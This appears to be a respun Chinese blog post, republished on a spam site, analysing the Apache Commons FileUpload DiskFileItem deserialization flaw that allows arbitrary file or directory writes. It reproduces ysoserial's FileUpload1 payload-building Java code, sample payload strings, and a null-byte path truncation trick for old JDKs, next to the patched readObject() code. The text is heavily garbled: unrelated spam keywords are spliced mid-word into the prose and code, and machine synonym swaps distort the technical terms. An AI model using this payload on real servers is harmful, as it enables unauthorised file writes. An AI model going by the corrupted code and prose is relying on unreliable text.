四君子汤,上戏艺考,achieve-多啦face,面部表情识别专家

admin 4周前 ( 12-21 18:16 ) 0条评论
摘要: Apache Commons Fileupload 漏洞,可恶意操作文件...

缝隙的来历是在于 DiskFileItem中的 rea四君子汤,上戏艺考,achieve-多啦face,面部表情辨认专家dObject()进行文件写入的操作,这就意味着假如咱们对现已序列化的 DiskFileItem目标进行反序列化操作就能够触发readObject()履行然后触发这个缝隙。

这个缝隙的损害是能够恣意写、读文件或许目录。可是详细是对文件仍是目录操作与FileUpload以及JDK的版别有关。

不同的缝隙环境能够到达的作用不相同。

  1. FileUpload的1.3.1之前的版别合作JDK四君子汤,上戏艺考,achieve-多啦face,面部表情辨认专家1.7之前的版别,能够到达写入恣意文件的缝隙;
  2. FileUpload的1.3.1之前的版别合作JDK1.7及其之后的版别,能够向恣意目录写入文件;
  3. FileUplo武当三丰太极剑55式ad的1.3.1以及之后的版别只能向公然日记特定目正德风云录写入文件,此目录也有必要存在。(文件的的命名也无法控制);

影响规模

commons-fileupload<=1.3.2

下面进行详细地剖析

Payload结构

咱们首要测验的版别是1.3的版别,JDK是1.8版别,所以这种组合只能到达向恣意目录的文件写入的缝隙作用。咱们测验的payload是 {"write;cve1000031;123456"},表明的含义便是向目录 cve1000031中写入 123456的内容。在 ysoserial中终究是由 ysoserial.payloads.FileUpload1::makePayload()来构建payload。代码如下:

private static DiskFileItem makePayload ( int thresh, String repoPath, S四君子汤,上戏艺考,achieve-多啦face,面部表情辨认专家tring filePath, byte[] data ) throws IOException, Excep侧入tion {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = nco风湿骨痛宁胶囊ew DiskFileItem("testxxx", "application/octet-stream",
false, "testxxx", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream d四君子汤,上戏艺考,achieve-多啦face,面部表情辨认专家fos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputSt蔻妹ream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThresh金苹梅old", 0);
return diskFileItem;
}

当咱们输入咱们的Payload, {"write;c小小才智树宝物二加一ve1000031;123456"},其间的赋值状况是:

而 thresh的值便是咱们需求写入的内容的长度加1,即 len(123456)+1成果便是7。其间还有 filePath是 cve1000031/whatever是因为在这个缝隙环境中咱们终究是向 cve1000031目录写入,所今后边是什么就没有含义了。终究在代码中还存在几个反序列化的操作:

Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);

发序列化的含义是在于咱们无法经过 DiskFileItem的示例进行设置,只能经过反射的办法设置,这几个特点也是咱们触发缝隙的必要条件。

之后对咱们结构的这个进行序列化操作,反序列化之后就会触发DiskFileItem的 readObject()然后触发缝隙。

缝隙剖析-1

缝隙环境:FileUpload1.3+ JDK1.7

当对 DiskFileItem的目标进行反序列化操作国产最新时,由 org.apache.commons.fileupload.disk.DiskFileItem::readObject()处理。

跟进 getOutputStream(),进入到:

因为 dfos==null满意条件,会履行 FileoutputFile=getTempFile();办法。四君子汤,上戏艺考,achieve-多啦face,面部表情辨认专家盯梢进入 getTempFile()到中

其间的 tempDir便是咱们设置的 repository,即 cve1000031。tmpFileName是由 DiskFileItem是主动生成的。终究和 tempDir组合得到的文件途径便是 cve1000031\\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp。

终究回来至 readObject()办法中写入文件,如下:

其间的 cachedContent便是咱们之前在Payload中设置的 123456。那么Payload的终究的作用便是在 cve1000031\\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp文件中写入了 123456的内容。

缝隙分异能高手巫金析-2

因为前面的一个缝隙剖析是向恣意目录写文件的功用,本次剖析的是恣意文件写入的功用。本次的缝隙环境是 FileUpload1.3+ JDK1.6。

Payload结构

结构的Payload是 {"writeOld;cve1000031.txt;123456"}。同样会调用 makePayload()结构Payload。

可是其间的 repoPath终究一位是 \0,这个就类似于PHP中的切断,用于截瑞恩的井基金会断后边的途径,这样就能够到达恣意文件写入的作用。详细的原理阐明如下:

JDK7以上在Java的file相关的根底类中都做了空字符的维护,这也是在针对java的string 和 c char的完毕办法不一致,在Java中文件的操作中运用String这种char 数组,而C中的char 是以空字符为完毕符,天空龙为什么叫卧底龙所以java操作的文件中很简单经过注入空字符来操作彻底不同的文件。比方 JavaFilefile=newFile("/test/test.txt\0.jsp") 看起来再操作 test.txt\0.jsp实际上在底层调用的(实质仍是c读写文件)是在操作test.txt。在JDK7今后的版别File 里边会有一个判别是否有空字符的函数

这个意思便是在JDK7之前能够使用 \0进行目录切断,和php在5.3.4版别之前也能够进行目录切断是相同的道理。所以这个恣意文件写入为什么要求是JDK7以下的版别才能够的原因。

缝隙的履行流程和前面剖析的缝隙流程相同,不同是在 getTempFile()中:

其间 this.tempFile的途径是 cve1000031.txt \\upload_6982dc32_8ca4_4d7蜕化玩偶c_b658_0a9b44a60741_00000000.tmp。因为是在JDK1.6的环境下,后边的 \\upload_6982dc32_8ca4_4d7梨城毒妃c_b658_0a9b44a60741_00000000.tmp在写入文件时会被疏忽,所以终究是向 cve1000031.txt文件中写入内容。

缝隙剖析-3

缝隙环境:FileUpload爱的被告国语版20集1.3.1+ JDK1.7秦思思在 FileUpload1.3.1中对 readObject()的功用进行了修正。修正主要是对 repository进行了校验。

private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
// read values
in.defaultReadObject();
/* One expected use of serialization is to migrate HTTP sessions
* containing a DiskFileItem between JVMs. Particularly if the JVMs are
* on different machines It is possible that the repository location is
* not valid so validate it.
*/
if (repository != null) {
if (repository.isDirectory()) {
// Check path for nulls
if (repository.getPa闪婚老公太蛮横th(妖娆乱旧版).contains("\0")) {
throw new IOException(format(
"The repository [%s] contains 四君子汤,上戏艺考,achieve-多啦face,面部表情辨认专家a null character",
repository.getPath()));
}
} else {
throw new IOException(format(
"The repository [%s] is not a directory",
repository.getAbsolutePath()));
}
}
OutputStream output = getOut名著帮帮团putStream();
if (cachedContent != null) {
output.write(cachedContent);
} else {
FileInputStream input = new FileInputStream(dfosFile);
IOUtils.copy(input, output);
dfosFile.delete();
dfosFile = nu四君子汤,上戏艺考,achieve-多啦face,面部表情辨认专家ll;
}
output.close();
cachedContent = null;
}

经过对 repository.isDirectory()和 repository.getPath().contains("\0")的判别,就阻挠了恣意的文件写入的缝隙了。所以在这种环境下只能下特定的目录写入文件了。可是这种状况下,你也只能向暂时目录写入文件。

文章版权及转载声明:

作者:admin本文地址:http://dollfacebarbie.com/articles/5182.html发布于 4周前 ( 12-21 18:16 )
文章转载或复制请以超链接形式并注明出处多啦face,面部表情识别专家